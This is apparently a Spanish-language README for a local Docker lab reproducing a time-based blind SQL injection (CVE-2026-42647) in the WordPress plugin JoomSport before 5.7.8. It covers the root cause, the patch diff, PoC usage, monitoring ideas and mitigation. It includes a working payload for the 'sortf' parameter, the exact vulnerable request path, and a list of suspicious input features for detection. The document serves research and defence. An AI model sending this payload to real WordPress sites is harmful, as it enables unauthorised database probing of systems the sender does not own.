Este laboratorio valida la vulnerabilidad como una inyección SQL ciega basada en tiempo. No realiza volcado de bases de datos, extracción de credenciales, modificación de datos ni operaciones SQL destructivas.

Este laboratorio está diseñado únicamente para investigación local controlada, comprensión a nivel de código fuente y demostración de portafolio.

## Hechos Verificados

| Afirmación | Evidencia | Cómo verificar en este laboratorio |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| Se informa que JoomSport anterior a 5.7.8 es vulnerable a una inyección SQL no autenticada. | Los avisos públicos identifican a JoomSport `< 5.7.8` / `<= 5.7.7` como afectado. | Revise la sección de Referencias y compare los servicios vulnerable y parcheado. |
| JoomSport 5.7.8 es la versión corregida. | Los avisos públicos y la comparación de código fuente muestran que 5.7.8 valida el valor de `sortf` antes de construir la expresión de ordenamiento. | Inspeccione `class-jsport-playerlist.php` en ambas versiones. |
| El parámetro afectado es `sortf`. | El código vulnerable de la lista de jugadores lee `classJsportRequest::get('sortf')`. | Ejecute el PoC y observe la petición `sortf` inyectada. |
| El código vulnerable construye un valor de ordenamiento SQL dinámico a partir de la entrada del usuario. | En la versión vulnerable, `sortf` se usa para construir `$options['ordering']`. | Inspeccione `sportleague/classes/objects/class-jsport-playerlist.php`. |
| El sumidero SQL es una cláusula `ORDER BY`. | El valor `$ordering` generado se añade posteriormente a una consulta SQL con `ORDER BY`. | Inspeccione `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| El parche utiliza una corrección de tipo lista de permitidos. | La versión parcheada introduce columnas estáticas permitidas y patrones esperados de campos dinámicos antes de usar el campo de ordenamiento. | Compare el código fuente de JoomSport 5.7.6 y 5.7.8. |
| El laboratorio demuestra una inyección SQL ciega basada en tiempo. | El objetivo vulnerable se retrasa cuando se usa una expresión `SLEEP()` inyectada; el objetivo parcheado no lo hace. | Ejecute `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |

## Suposiciones e Incógnitas

Este laboratorio utiliza JoomSport 5.7.6 como objetivo vulnerable de comparación porque la versión pública corregida es la 5.7.8 y no había una etiqueta de código fuente 5.7.7 disponible en el listado de etiquetas SVN del plugin de WordPress.org cuando se preparó el laboratorio.

El laboratorio no afirma que 5.7.6 sea la única versión vulnerable. Se utiliza como una línea base vulnerable reproducible para comparar el comportamiento vulnerable con el comportamiento parcheado de 5.7.8.

El laboratorio se centra en el parámetro `sortf` en el flujo de ordenamiento de la lista de jugadores.

El impacto demostrado es una inyección SQL ciega basada en tiempo. El laboratorio no demuestra:

* volcado directo de la base de datos,
* extracción de credenciales,
* omisión de autenticación,
* escalada de privilegios,
* modificación arbitraria de datos,
* ejecución remota de código,
* persistencia,
* devoluciones de llamada externas,
* o ataques contra sistemas fuera del laboratorio.

Puede ser posible un comportamiento basado en errores o basado en booleanos dependiendo del comportamiento de la base de datos, la configuración de la aplicación y las diferencias en las respuestas, pero este laboratorio no se basa en esas técnicas. La prueba principal está basada en tiempos.

## Resumen de la Causa Raíz

La causa raíz es la construcción insegura de una cláusula SQL dinámica `ORDER BY` a partir del parámetro de petición `sortf`.

La ruta de código vulnerable comienza en:```text
sportleague/classes/objects/class-jsport-playerlist.php

y lo utiliza para construir:```text
$options['ordering']

El problema no es principalmente el parámetro `sortd`. El valor de `sortd` está restringido a:```text
ASC
DESC

El código coloca la entrada controlada por el atacante dentro de un contexto de identificador de MySQL y luego la pasa como un fragmento de ordenación SQL.

El código aplica:```php
sanitize_text_field()

El patrón sink es:```php
$query .= ' ORDER BY '.($ordering);

El problema de seguridad es que la aplicación trata un parámetro de solicitud controlado por el usuario como un identificador/expresión SQL sin validarlo primero contra una lista de permitidos estricta.

## Resumen del Parche de Origen

El parche relevante está en:```text
sportleague/classes/objects/class-jsport-playerlist.php

La parte vulnerable es que `classJsportRequest::get('sortf')` se usa dentro de la expresión de ordenación SQL.

JoomSport 5.7.8 cambia este comportamiento introduciendo una variable de campo de ordenación validada antes de construir `$options['ordering']`.

La versión corregida inicializa un valor predeterminado seguro:```php
$sortFieldEsc = 'post_title';

Cuando `sortf` está presente, el código parcheado solo lo acepta si coincide con uno de los valores estáticos esperados:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

El último cambio relevante para la seguridad es que `$options['ordering']` se construye a partir de `$sortFieldEsc` en lugar del valor bruto de la solicitud `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

Después del parche:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

el código parcheado no asigna ese valor a `$sortFieldEsc`.

En su lugar, el campo de ordenación recurre a:```text
post_title

## Arquitectura del laboratorio

El laboratorio ejecuta dos instalaciones de WordPress aisladas mediante Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

El proceso de configuración crea los datos mínimos de JoomSport necesarios para renderizar la ruta de la lista de jugadores:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

## Inicio rápido

Inicia el laboratorio:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Mensajes de finalización de configuración esperados:```text
[VULN] setup complete
[PATCHED] setup complete

Servicios expuestos esperados:```text
http://localhost:8081
http://localhost:8082

Ejecuta el PoC contra el objetivo parcheado:```bash
python3 poc/poc.py http://localhost:8082

Para obtener estadísticas de tiempos más estables, aumenta el número de rondas:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

## Uso del PoC

El PoC comprueba cada objetivo de forma independiente.

Ya no requiere opciones separadas `--vuln-url` o `--patched-url`. En su lugar, pasa una o más URL de objetivo como argumentos posicionales:```bash
python3 poc/poc.py <target_url> [target_url...]

Si no se proporciona una URL de destino, el script solicita interactivamente una o más URL de destino locales.

Opciones admitidas:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

El PoC rechaza objetivos no locales por defecto.

## Cómo decide el PoC

Para cada objetivo, el PoC realiza dos series de temporización:```text
[1/2] Baseline timing
[2/2] Injected timing

La solicitud inyectada utiliza un payload de temporización solo local en el parámetro `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#

Then it classifies the target:

| Verdict           | Meaning                                                     |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | La solicitud inyectada es significativamente más lenta que la línea base. |
| `PATCHED-LIKE`    | La solicitud inyectada se mantiene cerca de la línea base.  |
| `UNREACHABLE`     | No se pudo alcanzar el objetivo.                            |
| `INCONCLUSIVE`    | Algunos datos de tiempos faltaban o estaban incompletos.    |

Default decision rule:```text
injected median - baseline median >= 60% of requested SLEEP()

Esto significa que un objetivo solo se reporta como `VULNERABLE-LIKE` cuando la solicitud inyectada es claramente más lenta que su propia línea base.

Los objetivos inalcanzables o no concluyentes no se cuentan como parcheados.

## Reproducción manual de HTTP con curl

Puede reproducir la validación manualmente sin usar el PoC de Python.

Solicitud de línea base vulnerable:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Solicitud de baseline parcheada:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Comparación esperada:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

Señal vulnerable esperada:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

### Objetivo parcheado

Comando:```bash
python3 poc/poc.py http://localhost:8082

### Múltiples Objetivos

Comando:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

### Objetivo inalcanzable

Si un objetivo no está en ejecución, el PoC debería reportar `UNREACHABLE`, no `PATCHED-LIKE`.

Ejemplo:```bash
python3 poc/poc.py http://localhost:8083

Los objetivos inalcanzables no se cuentan como parcheados.

## Cómo funciona el PoC

El PoC sondea la ruta de la lista de jugadores de JoomSport en busca de una publicación de temporada sembrada.

La ruta objetivo es equivalente a:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

Esto debería producir una ordenación normal de la lista de jugadores.

La solicitud inyectada utiliza:```text
sortf=post_title`DESC,(SLEEP(2))#

El marcador de comentario `#` evita que la comilla invertida final y la dirección interfieran con la expresión inyectada.

Esto no es una carga útil de consulta apilada. No inyecta:```sql
; SELECT SLEEP(2);

Características sospechosas de `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings

Señal vulnerable esperada:```text
HTTP 200 response with significant timing delay

Posibles ideas de monitoreo en producción:

* Revisar los registros de acceso web en busca de valores inusuales de `sortf`.
* Alertar sobre palabras clave SQL o marcadores de comentarios dentro de los parámetros de ordenamiento.
* Monitorear solicitudes repetidas a las rutas de la lista de jugadores de JoomSport con pequeños cambios en los parámetros.
* Monitorear consultas lentas de base de datos que involucren las tablas de la lista de jugadores de JoomSport.
* Correlacionar solicitudes lentas con tráfico público no autenticado.
* Revisar si JoomSport está instalado y si su versión es anterior a la 5.7.8.

## Notas de Mitigación y Parches

Actualice JoomSport a la versión 5.7.8 o posterior.

La versión corregida restringe el parámetro `sortf` a los campos de ordenamiento esperados y a los patrones de campos dinámicos. Los valores inesperados recurren a un campo de ordenamiento seguro por defecto.

Guía de mitigación a nivel de aplicación:

* Actualice el complemento JoomSport.
* No exponga versiones desactualizadas del complemento en sitios públicos de WordPress.
* Revise los registros web en busca de parámetros `sortf` sospechosos.
* Desactive o restrinja la funcionalidad afectada solo como mitigación temporal si la actualización inmediata no es posible.
* Utilice una regla de firewall de aplicación web como capa temporal, no como reemplazo del parcheo.
* Trate los identificadores SQL dinámicos de manera diferente a los valores normales: use listas permitidas para nombres de columnas, nombres de tablas, direcciones de ordenamiento y componentes similares de sintaxis SQL.

El control más importante es la lista permitida. El escapado por sí solo no es una solución completa para los identificadores SQL dinámicos.

## Comandos Útiles de Verificación

Compruebe los contenedores en ejecución:```bash
docker compose ps

Comprobar servicios de WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

Ejecuta el PoC contra el servicio parcheado:```bash
python3 poc/poc.py http://localhost:8082

Ejecuta el PoC con más rondas:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Comprueba las versiones de los plugins dentro de WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

Inspecciona el código fuente parcheado:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

## Limpieza

Detener y eliminar contenedores y redes:```bash
docker compose down --remove-orphans

Elimina los archivos de evidencia si se crearon:```bash
rm -rf evidence/

El PoC no incluye payloads para volcado de bases de datos, robo de credenciales, modificación de datos, persistencia, movimiento lateral o devoluciones de llamada externas.

El objetivo es demostrar una condición técnica específica en un entorno controlado:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version